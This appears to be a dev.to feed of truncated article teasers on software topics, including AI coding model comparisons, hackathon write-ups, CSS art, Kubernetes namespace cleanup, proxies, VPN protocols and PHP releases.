    Moonshot AI (a Chinese Artificial Intelligence company) recently announced their new AI model, Kimi K2, which is an open-source model purposely built for agentic tasks, and some even consider this model an alternative and open-source version of the Claude Sonnet 4 model. While Claude Sonnet 4 comes with $3/M input token and $15/M output token, Kimi K2 is a fraction of that and comes at $0.15/M input token and $2.50/M output token. Crazy, right? According to the Moonshot AI team, Kimi K2 has outperformed almost all coding models in many benchmarks, but of course, the main test comes with using and testing in a real-world scenario. So, in this article, we'll see what Kimi K2 can do and how well it compares with Sonnet 4 in coding. If you want to dive straight into the results and see how b…  ( 8 min )
    hearing Michael Scott.
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Here's a CSS art project inspired by The Office, an American series about a the office life at a paper company in Scranton, Pennsylvania. The project uses pure HTML, CSS, and JavaScript to render an animated pixel-art office scene with music playback. You can see the full working demo here: Here is the source code. This project started as a challenge to render CSS-based art of a meme scene involving office culture. Over the course of development, I explored and corrected multiple errors, particularly involving audio playback integration. To start with, I explored different memes of The Office and initially wanted to work on the preview below: However, rendering fine details using C…  ( 5 min )
    TRAE solo mode test
    finally got the trae soloe mode code but yet to test it haha  ( 2 min )
    Pingy: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. Pingy - Pingy: featureful modern API client Team Members: Sagar Khanal Project URL: https://devpost.com/software/pingy Our experience building Pingy during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions accelerated our development velocity Real-time Collaboration: Seamless integration allowed our team to work cohesively Our solution focused on creating a robust, sca…  ( 3 min )
    BLACK BOX QUANTUM AI FIREWALL: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. BLACK BOX QUANTUM AI FIREWALL - Unlock unseen security! Black Box Quantum AI Firewall uses AWS quantum power to encrypt data in real-time. One line of code delivers strong defense. Scalable and revolutionary—judges, see the future! Team Members: Akshaay Bs, Advaith Kashyap Project URL: https://devpost.com/software/black-box-quantum-ai-firewall The World's Largest Hackathon may have concluded, but for BLACK BOX QUANTUM AI FIREWALL, it was just the beginning of an exciting journey that has reshaped our trajectory as developers and innovators. What started as a hackathon submission has evolved into something much more significant. BLACK BOX QUANTUM AI FIREWALL has grown from a proof-of-concept to a pote…  ( 5 min )
    Foster AI: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Foster AI - Elevate Your Pitch with Intelligence. Team Members: Jack Michele Project URL: https://devpost.com/software/foster-ai While Foster AI represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Foster AI wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking channels. Despite being a solo effort, we found common ground in our passion for innovation. Daily Standups: We maintained regular check-ins to align on progress Role Distribution: …  ( 4 min )
    Pingy: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Pingy - Pingy: featureful modern API client Team Members: Sagar Khanal Project URL: https://devpost.com/software/pingy While Pingy represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Pingy wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking channels. Despite being a solo effort, we found common ground in our passion for innovation. Daily Standups: We maintained regular check-ins to align on progress Role Distribution: Each team member b…  ( 4 min )
    🚀 Introducing AI Assistant Pro – An Open Source Chatbot with a Brain 🧠💬
    Hey devs! 👋 AI Assistant Pro, a modern, intelligent chatbot built with React, Zustand, Framer Motion, and a custom smart response engine. AI Assistant Pro is a sleek, responsive chatbot designed for real-world interactions: Context-aware replies using fuzzy logic Local storage support with mobile/desktop sync Typing animations, quick prompts, and reaction features Full light/dark theme support Smart notification handling Easy to customise & extend React + Vite ⚡️ Zustand for state management Framer Motion for animation React Markdown for formatting Custom AI response logic (via getEnhancedResponse) I wanted something more personal than ChatGPT and more customizable than prebuilt widgets — a chatbot that feels yours, speaks in context, and can evolve. And most importantly, something you can fork, hack, or scale. ✅ Beautiful, minimalist UI with full theming ✅ Persistent local chat history ✅ Message reaction system (likes, copy) ✅ Sidebar with recent messages & history management ✅ Typing effects and prompt suggestions Grab the code, contribute, or deploy your own: GitHub Repository If you're looking to add a chatbot to your project or just want to explore how modern UI and logic come together — give it a try! 👉 Test I'm planning to: Add voice input support Enable plug-and-play API integrations Would love your feedback or collaboration ideas! Let’s build smarter, more human tech together. 🙌 💬 Try it, fork it, improve it. Follow for more!  ( 3 min )
    Rust 🦀 for JavaScript Developers: A Super Simple Guide.
    Hey JavaScript Devs! 👋 You’ve conquered npm install, and now it’s time to tackle cargo build! "What’s Rust, and how do I start?"— this guide is your friendly bridge to Rust, the fast, safe, and super-cool language powering web browsers, games, and operating systems. Rust might feel strict compared to JavaScript, but don’t worry—this project breaks it down with JS comparisons to make learning a blast! 😎 We’ll cover setup, variables, data types, functions, collections, error handling, control flow, and modules. By the end, you’ll be saying, "Rust? I’m ready to roll!" Let’s dive into your Rust adventure! 🚀 Setup: Get Rust running with cargo new. Variables & Types: Master Rust’s safe and strict variables. Functions: Write reusable code with typed functions. Collections: Work with arrays (…  ( 7 min )
    Dissecting a Complex Patent Invalidation Search: A Case Study
    Introduction In the high-stakes world of intellectual property, the strength of a patent often hinges not only on how well it’s written but also on how resilient it is to challenges. Patent invalidation searches are essential tools for those aiming to test or overturn a competitor’s patent, challenge enforcement threats, or safeguard freedom to operate. This article presents a comprehensive patent invalidation search case study, illustrating the intricate process of dissecting claims, identifying relevant prior art, and applying advanced strategies using both manual and AI-assisted tools. Patent attorneys, IP strategists, and tech entrepreneurs will gain a deeper understanding of how real-world invalidation efforts unfold. We'll walk through each phase of a complex search, highlight comm…  ( 6 min )
    Web Developer Travis McCracken on Build Pipelines That Don’t Suck
    Enhancing Backend Development with Rust and Go: Insights from Web Developer Travis McCracken Hello fellow developers! I’m Travis McCracken, a passionate Web Developer specializing in backend systems. Over the years, I’ve explored various technologies to craft efficient, scalable APIs and backend solutions. Today, I want to share my insights into two powerhouse programming languages—Rust and Go—that are transforming how we build robust backend services. Why Rust and Go? In the landscape of backend development, performance, safety, and concurrency are paramount. Rust and Go have carved out their niches by excelling in these areas, making them top choices for modern backend systems. Rust, with its emphasis on memory safety and zero-cost abstractions, allows developers to write high-performanc…  ( 4 min )
    Secure Access with Token Auth, SSO & Zero Trust Model
    Token-Based Authentication: Enabling Secure Access in the Age of Zero Trust and Single Sign-On In today’s digital ecosystem, where security threats continue to evolve and remote access is the norm, traditional password-based authentication systems are no longer sufficient. Token-based authentication has emerged as a reliable and secure alternative, offering enhanced protection, scalability, and user convenience. This method plays a key role in modern cybersecurity strategies, including Single Sign-On (SSO) platforms and Zero Trust security frameworks. What is Token-Based Authentication? These tokens are time-limited and cryptographically signed, reducing the risk of replay attacks and credential theft. Since the server does not store session data, it also improves scalability for large app…  ( 4 min )
    Modern Angular Development: The Angular 17 Revolution
    Before We Begin Welcome to my very first article on Dev.to! As an experienced Angular developer, I’ve seen the framework evolve through many versions — but Angular 17 marks a true turning point. This release isn’t just a version bump; it redefines how we build, optimize, and think about Angular applications. With powerful features like the new built-in control flow syntax @if, @for, @switch, deferrable views , and a blazing-fast Vite + esbuild build system, Angular 17 modernizes the development experience while delivering major performance gains. Whether you’re a seasoned Angular veteran or just starting out, this article will walk you through the key highlights of Angular 17 — how they simplify, accelerate, and transform the way we build web apps. And yes, Angular 20 is already out — bu…  ( 8 min )
    Zero-Dependency Architecture for Maximum Performance(8773)
    GitHub Homepage: https://github.com/eastspire/hyperlane During my final year project on microservices architecture, I encountered a critical challenge that many developers face: dependency bloat. Our team's initial implementation relied on dozens of external libraries, creating a complex web of dependencies that introduced security vulnerabilities, increased binary size, and complicated deployment processes. This experience led me to explore a radically different approach that would fundamentally change my perspective on web framework design. The revelation came when I discovered that most web framework dependencies provide functionality that can be implemented more efficiently using only standard library components. My research into zero-dependency architectures revealed performance benef…  ( 6 min )
    HTML Forms Series #1: Introduction
    We’ve all come across login pages, feedback forms, profile update pages, survey forms, booking or reservation forms, contact forms, and registration pages—right? These forms are everywhere on the web, and we interact with them almost daily. But have you ever wondered what's behind the magic of these user-friendly input boxes? Well, it's HTML—the real don behind all these cool web forms! Whether you're filling in your username, writing a short bio, uploading a profile photo, selecting options with checkboxes or radio buttons, choosing from a dropdown, or clicking a button to submit—HTML provides the skeleton for it all. To create forms like these, we use the tag in HTML. Let’s get started by building a complete layout of different types of forms! let’s dive into how to create various forms using just HTML. We'll cover everything from basic input fields to more advanced components like dropdowns and file uploads—all without any CSS or JavaScript (for now 😉). Previous: Intro to HTML Forms Login page with html  ( 3 min )
    Revolutionizing AI Workflows: Sim Studio Makes it Easy!
    Quick Summary: 📝 Sim Studio is an open-source AI agent workflow builder that provides a lightweight and intuitive interface for quickly building and deploying LLMs. It offers various self-hosting options and supports integration with local models, enabling users to create and manage AI agents for diverse applications. ✅ Lightweight and user-friendly platform for building AI agent workflows ✅ Flexible self-hosting options (NPM, Docker, Dev Containers, manual) ✅ Supports local models for custom AI behavior ✅ Leverages vector embeddings for advanced search and knowledge bases ✅ Seamless integration into existing workflows Project Statistics: 📊 ⭐ Stars: 6026 🍴 Forks: 824 ❗ Open Issues: 21 ✅ TypeScript Hey fellow developers! Ever wished for a simpler way to build AI …  ( 4 min )
    Deleting Stuck Kubernetes Namespaces
    Namespaces may be stuck in a terminating state due to finalizers. Follow these steps to delete them. First, you need to retrieve the full definition of the stuck namespace in JSON format. kubectl get namespace user-d7gnp -o json > user-d7gnp.json Edit the JSON to Remove Finalizers. Before { "apiVersion": "v1", "items": [ { "apiVersion": "v1", "kind": "Namespace", "creationTimestamp": "2024-06-19T04:23:56Z", "deletionTimestamp": "2025-07-23T13:25:02Z", "finalizers": [ "controller.cattle.io/namespace-auth" ], "labels": { "kubernetes.io/metadata.name": "user-d7gnp" }, After { "apiVersion": "v1", "items": [ { "apiVersion": "v1", "kind": "Namespace", "creationTimestamp": "2024-06-19T04:23:56Z", "deletionTimestamp": "2025-07-23T13:25:02Z", "labels": { "kubernetes.io/metadata.name": "user-d7gnp" }, Apply the Modified JSON via kubectl replace. kubectl replace --raw "/api/v1/namespaces/user-d7gnp/finalize" -f ./user-d7gnp.json Verify Deletion. k get ns user-d7gnp A shortcut to do all this. k delete ns user-d7gnp kubectl get namespace user-d7gnp -o json > user-d7gnp.json jq 'del(.metadata.finalizers) | del(.spec.finalizers)' user-d7gnp.json > user-d7gnp.json.tmp && mv user-d7gnp.json.tmp user-d7gnp.json kubectl replace --raw "/api/v1/namespaces/user-d7gnp/finalize" -f ./user-d7gnp.json k get ns user-d7gnp  ( 3 min )
    Forward Proxy vs Reverse Proxy: Who really controls the traffic?
    🌐 Ever wonder how your data zips around the internet so smoothly and securely? Meet proxies — the behind-the-scenes MVPs of the web. Think of them as air traffic controllers ✈️ for your online requests, making sure everything gets where it needs to go — safely, efficiently, and often, anonymously 🛡️. This guide is your crash course into forward and reverse proxies. We’ll break down what they are, how they work, and why they matter — all in plain language, with real-world examples. Let’s decode the middlemen of the internet. 🚀 At its core, a proxy server is simply an intermediary. Think of it as a trusted support staff standing between you (the client) and a destination on the internet (the server). Instead of your device directly initiating a conversation with a website or online servi…  ( 12 min )
    Oracle 21c — AutoUpgrade Enhancements for RAC
    One of the improvements of the AutoUpgrade tool in version 21c is the automation of certain steps involved in upgrading a RAC database. In versions prior to Oracle 21c, the following steps had to be performed manually to upgrade a RAC database: - Set the CLUSTER_DATABASE parameter to FALSE. - Stop all instances in the cluster. - Start one of the instances to begin the upgrade process. - Reset the CLUSTER_DATABASE parameter to TRUE after the upgrade is complete. - Start all instances. - Register the new version in the cluster. In version 21c, these steps are automatically handled by the AutoUpgrade tool (this feature was later backported to Oracle version 19.8 and above as well). The method for upgrading a database to version 21c using the AutoUpgrade tool has already been explained previously, so we will not repeat it here. We will only emphasize that before starting the upgrade process, all instances must be in the open state. 2022-02-05 09:59:40.024 INFO Updating parameter *.cluster_database=’true’ to *.cluster_database=’FALSE’ in /home/oracle/AutoUP_TO_21c/inst1/temp/during_upgrade_pfile_inst1.ora  ( 3 min )
    Zup: The Self-Healing CLI That Automates Your Dev Environment
    We’ve all been there. You join a new project or onboard a new teammate, and what follows is a painful, multi-hour ritual of cloning repositories, installing a specific version of Node.js, setting up environment variables, running database migrations, and starting a fleet of microservices. It’s tedious, error-prone, and different for every single project. What if you could automate this entire process with a single command? And what if, when something inevitably goes wrong — a missing dependency, a port conflict, a permission error — the tool could diagnose the problem and fix itself? That’s why I created Zup. Zup is a fast, customizable command-line interface (CLI) built with Cobra and Go. It turns complex development environment setups into a simple, repeatable, and resilient process. By …  ( 5 min )
    Wired for Innovation: Lessons from Bolt.New hackathon
    I joined the one-shot prompt track of the Bolt.New hackathon, because I was low on credits and still finding my footing with "vibe coding." My project was called Seniors Web App, a mental health companion designed for older adults. It was supposed to use voice interaction and sentiment analysis to offer empathetic, natural conversations—simple yet meaningful, blending the ease seniors need with tech that respects their dignity. To shape the idea, I did a quick dip-stick study. First, I visited a premium assisted-living facility for Seniors on outskirts of Bengaluru, bringing a paper prototype to show during their post-lunch social hour. The staff were kind, but only one resident responded. He pointed out, with a calm honesty, that the app would need to handle regional accents and slower sp…  ( 4 min )
    Latency Optimization Secrets for Millisecond Response Times(3530)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a computer science student passionate about performance optimization, I've always been fascinated by the pursuit of minimal latency in web applications. My recent deep dive into latency optimization techniques led me to discover approaches that consistently achieve sub-millisecond response times, fundamentally changing my understanding of what's possible in modern web development. The journey began during my internship at a financial technology company where microseconds matter. Our trading platform required response times under 1 millisecond for market data requests. Traditional frameworks struggled to meet these requirements consistently, leading me to explore alternative approaches that would revolutionize our architecture. Late…  ( 6 min )
    Claude Code Tip: Claude Code architecture tip: ...
    Claude Code architecture tip: Before starting any project, ask "What's the best folder structure for a [your project type]?" Saves hours of refactoring later. What's your favorite Claude Code tip? claudecode #ai #productivity  ( 3 min )
    Machine learning - the code that feels
    Machine Learning — The Code That Feels by Developer Prasoon, founder of Silent Syntax “I didn’t teach it how to walk, 🌌 Chapter 1: It All Starts with Data Every byte is a broken story. 1001, Rainy, 23.1°C 1002, Sunny, 31.6°C This isn't just temperature logs. "Understand me." Machine Learning doesn’t ask what to do, what it means. In programming, we say: “If X happens, then do Y.” But in ML, I say: “Here’s X and Y. Now feel the vibe.” It’s not code anymore. I don’t build models. The machine guesses: And the world says: “WRONG!” “Good try, now let’s reflect.” Every wrong prediction? A lesson. "Let me try again, but better." You ever looked at a neural network diagram Layers, neurons, activations. dreams. carves it into its own neural soul. The weights are not numbers. beliefs the machine has built. I gave it data. I showed it voices. That's when I realized — unpredictable creativity can be. Machine Learning is not just tech. feels (almost). So next time you build a model, remember: You're not just writing code. And as long as there's data, As long as there's curiosity, This art will never stop learning.  ( 4 min )
    Tame Your Flaky RSpec Tests by Fixing the Seed
    About This Article Have you ever experienced tests that occasionally fail when running your RSpec test suite on CI? These are what we call flaky tests. Simply re-running the test until it passes and calling it a day is a missed opportunity. Let’s take a more sustainable approach to fixing them. config.order and Kernel.srand The key idea here is simple: enable the following configuration in your RSpec settings file, which is generated by default but commented out. # spec/spec_helper.rb # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = :random # Seed global randomization in this process using the `--…  ( 6 min )
    How ERP Integrations Are Reshaping the Future of Scalable Business Software
    In today's fast-paced tech ecosystem, it's not enough for enterprise systems to just function — they need to communicate, scale, and evolve. One of the core enablers of this is ERP integration. It's no longer just about back-office accounting; ERP systems are becoming the nervous systems of modern enterprises. As businesses grow, so do their tech stacks. From CRMs to IoT platforms and cloud-native applications, companies often juggle a wide range of tools. Without a centralized system to streamline data flow and processes, information silos grow, productivity stalls, and decision-making suffers. That’s where ERP integrations step in. Modern ERP platforms are API-friendly, event-driven, and built to play well with DevOps pipelines and microservices. Here are a few real-world examples of how…  ( 4 min )
    Resource Management and Memory Efficiency in Web Servers(6741)
    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into resource management began during a production incident where our web server's memory usage spiraled out of control, eventually consuming all available system memory and crashing. Traditional garbage collection approaches couldn't keep up with our allocation rate, and manual memory management seemed too complex for a web application. This crisis led me to explore resource management strategies that could deliver both performance and reliability. The breakthrough insight came when I realized that effective resource management isn't just about memory allocation—it's about designing systems that use resources predictably and efficiently throughout their lifecycle. My research revealed a framework that implements sophisti…  ( 10 min )
    🏛️ Digital Heritage Ecosystem: Menjaga Warisan Budaya di Era Digital
    Dipublikasikan pada: 23 Juli 2025 | Oleh: Ahmad Asroni 🎯 Pengantar Digital Heritage 🌐 Memahami Digital Heritage Ecosystem 🏗️ Komponen Utama Ekosistem 💻 Teknologi dalam Digital Heritage 🎨 Implementasi dan Studi Kasus ⚡ Tantangan dan Solusi 🚀 Masa Depan Digital Heritage 🎉 Kesimpulan dan Rekomendasi Digital Heritage atau Warisan Digital adalah proses digitalisasi, preservasi, dan akses terhadap warisan budaya manusia menggunakan teknologi digital. Ini bukan sekadar memindahkan objek fisik ke format digital, tetapi menciptakan ekosistem komprehensif yang memungkinkan preservasi jangka panjang dan akses global. Di era globalisasi ini, banyak warisan budaya yang terancam punah karena: 🌪️ Bencana alam yang merusak situs bersejarah 🏙️ Urbanisasi yang menggerus ruang tradisional ⏰ Perubah…  ( 12 min )
    Building a Restaurant Menu App with JSON & React – Inspired by Olive Garden
    If you're learning frontend development or working on portfolio projects, creating a menu-based app is a great exercise. I recently built a mock menu app using React and JSON, inspired by the Olive Garden menue. It includes dish categories, image grids, and a simple filter system. You can also check out menu inspiration and structure here 👉  ( 3 min )
    Beyond Search: How to Chat with Your Documents Using AstraDB Vector Database, Docling and Granite
    Hands-on vectorization and embedding with AstraDB (DataStax/IBM) vector database. Welcome to a hands-on exploration of building a powerful Retrieval Augmented Generation (RAG) system! In this project, we’re diving into the capabilities of DataStax’s AstraDB, a cutting-edge vector database recently acquired by IBM, to show you how to truly chat with your documents. This post serves as a practical starting point, demonstrating the seamless integration of AstraDB with innovative tools like Docling, which transforms unstructured documents into machine-ingestable formats, and a robust Large Language Model (LLM) like Granite. Get ready to unlock new insights from your data by combining the power of vector search with advanced language understanding, all through a real-world, step-by-step experi…  ( 15 min )
    The Ultimate Guide to Web Scraping: Best Tools and Techniques for Data Collection
    In the age of digital transformation, data is the new oil. Businesses, researchers, and developers alike rely on accurate data to make informed decisions, analyze trends, and build innovative solutions. This is where web scraping comes into play — a powerful method for extracting data from websites efficiently and at scale. In this article, we’ll explore what data scraping is, how a web scraping tool works, and which web scraper solutions are best suited for your needs. Whether you're new to internet scraping or looking to upgrade your scraping tool, this guide has you covered. Web scraping, also known as website scraping or internet scraping, is the process of automatically extracting information from websites. It allows users to collect structured data from web pages and use it for analy…  ( 4 min )
    TIL: How to reset all files in one folder in git
    We use snapshot testing at work quite heavily because it enables us to test the output of complex functions that do a lot of things at the same time and produce a lot of output. During a PR, I often accumulate a lot of files in one folder and when the PR is done, I want to clean up this folder, reset it to the state of the development branch, and re-create just the files I need. To reset a whole folder to the state of this folder on another branch in git, you can do: git restore --source=develop --staged --worktree tests/data This resets the tests/data folder to the state of that folder on the develop branch.  ( 3 min )
    HTML Forms, features and benefits explained
    What are HTML forms? HTML forms are like digital paper forms, allowing users to input and submit data on websites. They are customizable and easy to maintain, making them a practical choice for online interactions. HTML forms are an essential part of interactive web design, enabling users to communicate with websites effectively. They have all the functionality of fillable PDF forms but are significantly easier to update and edit, providing you with a lot more control. HTML comes with a range of different features that cater to accessibility. These include alt text for images, ARIA attributes and form labels to name a few. This makes them easy for use with screen readers. Furthermore, they are universally supported by modern web browsers and can be accessed on any device with an internet…  ( 4 min )
    Will OpenTelemetry Slow Down Your .NET App? 🤔
    As a .NET developer, you’re likely eyeing OpenTelemetry (OTel) to bring observability to your applications—tracing, metrics, and logs, all in one. At Qumulus Cloud Platform , we’ve been integrating OTel into our .NET apps, and here’s what we’ve learned: Tunable Sampling: Dynamic or fixed sampling lets you control how much telemetry data is collected, balancing observability with performance. Async Efficiency: OTel plays nicely with .NET’s async/await, ensuring non-blocking operations when exporting telemetry. Real-World Testing: In our tests, CPU and memory overhead stayed under 2-5% for typical ASP.NET Core apps, but heavy tracing in high-throughput systems needs careful tuning. That said, it’s not plug-and-play. ❗Misconfigured exporters or excessive instrumentation can add latency. Our approach? Start small, profile rigorously, and leverage tools like Application Insights for seamless OTel integration. ✌ What’s your experience with OpenTelemetry in .NET? Have you noticed performance impacts, or found killer optimization tricks? Drop your insights below—let’s geek out on observability! 🧠  ( 3 min )
    WireGuard vs OpenVPN — Which VPN Protocol Fits Your Self-Hosting Needs?
    When you’re self-hosting a VPN, the software you choose isn't just about speed or security — it’s about how well it aligns with your setup, your goals, and your technical comfort zone. Two of the most widely trusted protocols are WireGuard and OpenVPN. Both are open-source, secure, and powerful. But under the hood, they take very different approaches. This blog breaks down how these protocols differ in design, setup, performance, and compatibility, so you can choose the right tool for your infrastructure. At a glance: Feature WireGuard OpenVPN Codebase Size ~4,000 lines (kernel module) ~100,000+ lines Speed 3–4x faster in most benchmarks Slower, but tunable Security Minimalist, fixed cryptography Highly configurable, mature Setup Complexity Simple, key-based Involves PKI, cert…  ( 5 min )
    ELSA (Emulated Learning and Speech Assistant)
    Tkinter is python's de-factor standard GUI (Graphical User Interface) package. While it may not be as feature-rich as other libraries like PyQt or wxPython , its simplicity and ease of use make it an ideal choice for beginners. In this post, we'll focus on implementing ELSA, a chat application with a graphical user interface. ELSA (Emulated Learning and Speech Assistant) is a python-based chat application with a graphical user-interface (GUI) built using tkinter. It allows users to interact with a chatbot that can respond to predefined questions, provide current date and time, display images, and optionally convert text responses to speech using pyttsx3. Python 3.x Tkinter Pillow ( PIL ) pyttsx3 Type your messages in the entry field and press Enter or click Send. Use commands like hi, date, time, clear and bye for specific responses. Typing pic will display a random image from the img folder. Text-to-Speech - Click the Text to Speech button to toggle speech synthesis ON or OFF. Note: Speech synthesis requires speakers or headphones connected to hear the output. Clear Chat - Click Clear Chat to erase all messages from the chat window. The chatbot's responses are based on a predefined set of questions and answers stored in knowledge_base.json file. Implementing ELSA was a fun and interactive experience that taught me the basics of GUI programming with tkinter. Check it out here: https://github.com/vanu888/GUI-Bot.git  ( 3 min )
    Executando uma aplicação Spring Boot + MySQL no Kubernetes
    Neste post, vamos aprender passo a passo como subir uma aplicação Spring Boot conectada a um banco de dados MySQL dentro do Kubernetes. A ideia é ser didático e acessível, então, se você está começando agora, siga com calma cada etapa. Algumas instruções podem variar de acordo com o sistema operacional. Estou usando macOS, mas com pequenas adaptações, tudo funcionará em outros sistemas. Antes de começar, certifique-se de ter: Docker instalado Kubernetes instalado (Minikube, Docker Desktop ou outro) Maven instalado (opcional, mas recomendado para build manual) Postman ou cURL para testar a API Se não tiver esses itens configurados ainda, recomendo procurar tutoriais específicos de instalação. Nossa aplicação será uma API REST simples para gerenciar pedidos (Order). Ela terá as oper…  ( 9 min )
    What Is Agentic AI And Why It Changes Everything in Automation
    AI has become a buzzword in every business process imaginable. From automated customer support to generative content, it feels like every SaaS tool has slapped “AI” onto its feature list. But not all AI is created equal. The real disruption today is coming from something deeper — something far more capable than simple prompts or rules-based flows. It’s called Agentic AI. And it’s about to redefine how we think about automation. Agentic AI refers to artificial intelligence that can act autonomously, make independent decisions, and pursue goals over time — just like a human agent would. Where most traditional AI tools are reactive (e.g., answering a question or labeling an image), agentic systems are proactive. They can: Decide which task to perform next Chain multiple steps together Monit…  ( 6 min )
    Building Privacy-Respecting Identity Systems with Oasis's Confidential Smart Contracts
    Identity is a fundamental layer of the internet—and it's broken. Current Web2 solutions rely on centralized gatekeepers, and most Web3 solutions lean heavily on public, immutable data. Neither is ideal for preserving user privacy or enabling nuanced, context-aware identity. Oasis Network is approaching this problem from a different angle: building confidential identity systems using trusted execution environments (TEEs) via the Sapphire runtime—its confidential EVM. The key idea is that identity doesn't have to be public to be verifiable. Developers can now build systems where: Users keep full control of their personal data Identity logic runs privately onchain Verification happens without exposing sensitive details This opens up new types of decentralized applications: Anonymous attestations (prove X without revealing Y) Privacy-preserving sybil resistance Zero-knowledge-style behavior without ZK complexity Reputation systems that evolve privately Oasis’s blog post breaks down the architecture and shows how privacy-preserving identity can be implemented entirely onchain, without sacrificing usability. If you're working on DAO governance, DePIN, or user-authenticated dApps, this is a model worth exploring. You can use familiar Solidity tooling, integrate with existing EVM workflows, and build more responsibly by default.  ( 3 min )
    Week 2 Building Treazurex — Lessons from the Backend and Beyond
    Hey devs! 👋 Welcome to my second weekly update on building Treazurex, a web application I’m building with React + Vite on the front-end and Node.js + PostgreSQL on the back-end. If you missed the first week’s post, this project is all about learning through doing, building out a full-stack shopping experience while picking up best practices along the way. At the start of the week, my plan was simple: Build the homepage and the shop page. But like many development journeys, I quickly realized that I had overlooked an important foundation, my back-end and database setup were still incomplete. Without a solid schema and working back-end logic, there was no way I could reliably fetch and display real product data on the front-end. So I shifted gears. Instead of pushing forward on the UI, I de…  ( 5 min )
    Welcome to My Office (Made with CSS Magic ✨)
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Ever stared at your screen for too long and thought, “What if my office desk was made entirely out of CSS?” No? Just me? Well… I did it anyway. I built a full-blown, interactive CSS art piece that captures the chaos, charm, and caffeine-fueled spirit of modern office life. From your keyboard lighting up as you type that email for the 7th time, to your favorite mug steaming with infinite coffee, it’s all here. Click Here for the Live Demo Let’s take a quick office tour: 💻 A monitor with endlessly scrolling code (because bugs never sleep) ⌨️ Keyboard keys that light up like a rave every time you hover ☕ Coffee mug steaming like it’s brewing life into your soul 🧊 Water cooler with animated convos (yes, tea is being spilled) 🪴 Plants that gently sway because HR said "Add greenery" 🏢 A window-lit building to remind you it's still Monday 📱 Fully responsive, so your office shrinks perfectly to mobile size! I started by sketching out the scene. Yes, on actual paper. Then came the fun part turning each element into CSS. I used: Gradients, borders, and pseudo-elements for juicy details Over 10 custom animations (because stillness is boring) Media queries to keep the art from falling apart on mobile How to make a cup of coffee.......with CSS That animating a keyboard can feel oddly satisfying You can make conversations happen at the water cooler, even in code Add draggable sticky notes (because who doesn’t like dragging stuff?) Make a day/night toggle so you can switch from burnout to blackout Maybe add sound effects? (Typing ASMR, anyone?) Built using 100% HTML and CSS (and just a sprinkle of JavaScript for those snazzy key animations). MIT licensed, so feel free to fork, remix, and add your own coffee mug 😄 Let me know what you think or what I should add next!  ( 4 min )
    How to choose the right Microsoft Dynamics 365 Implementation Partner for your business
    Selecting the right Microsoft Dynamics 365 ERP implementation partner is a strategic decision that can shape your organization’s future. A successful ERP implementation can streamline your business processes, improve efficiency, and drive growth, while a poor choice can result in wasted resources and endless headaches, but the success of this endeavour hinges on selecting the right ERP implementation partner. Why Your Business Needs a Microsoft Dynamics 365 Implementation Partner for Success – As your business expands, your technology needs will evolve, and selecting the right Microsoft Dynamics 365 implementation partner is a pivotal decision for businesses looking to optimize their operations. A knowledgeable Microsoft Dynamics 365 implementation partner can help you scale your ERP sys…  ( 6 min )
    MicroFrontend with Module Federation (Full Configuration)
    MicroFrontend: An architectural style where a frontend application is split into smaller, semi-independent "micro-apps", each built, tested, and deployed by independent teams. It's the frontend version of microservices. Build Time Integration: It to the approach where microfrontends are integrated into the main application at the time of compilation, typically using npm packages, monorepos, or direct imports. All microfrontends are bundled together during the build process before deployment. Run Time Integration: It means the main application loads microfrontends on the fly, usually from a remote URL, after the application starts in the browser. The concept of Module Federation occurs here only. Module Federation: It is a feature introduced in Webpack 5 that allows multiple applications to…  ( 3 min )
    Why Content Editors Love In-Place Relation Editing
    Alright, listen up, content editors, because this one's for you. You know that feeling when you're knee-deep in editing a product description, and then you remember you need to link it to a new category, which means clicking out, finding the category, connecting it, and then coming back? Yeah, it's a pain - a real buzzkill for your flow. Well, at Flotiq, we've always had this brilliant trick up our sleeve called in-place relation editing. And honestly, it's been around since, like, day one. The whole idea was to make your life easier – no more jumping through hoops just to connect your content. You do it right there, on the spot, where you're already working. It's properly clever, if you ask us. From the very beginning, we at Flotiq got it. Content isn't just a bunch of isolated bits and…  ( 6 min )
    PHP 8.3 and What to Expect in PHP 8.4 – A Practical Developer Preview
    PHP has been developing at an incredible rate. PHP 8.3 was released in November 2023, marking further advancements in the language's performance, developer experience, and contemporary syntax. Now that PHP 8.4 is anticipated to be released in late 2024, it's time to examine what's novel, intriguing, and useful for regular developers like you and me. In this post, we’ll explore: What PHP 8.3 brought to the table What's coming in PHP 8.4 (based on RFCs and current implementation) How these updates affect real-world development First, let's examine the main enhancements and features included in PHP 8.3. Type class constants, a long-awaited feature. class Config { public const string ENV = 'production'; } This strengthens code and aids in the early detection of more errors by static analy…  ( 6 min )
    VictoriaMetrics: migrating VMSingle and VictoriaLogs data between Kubernetes clusters
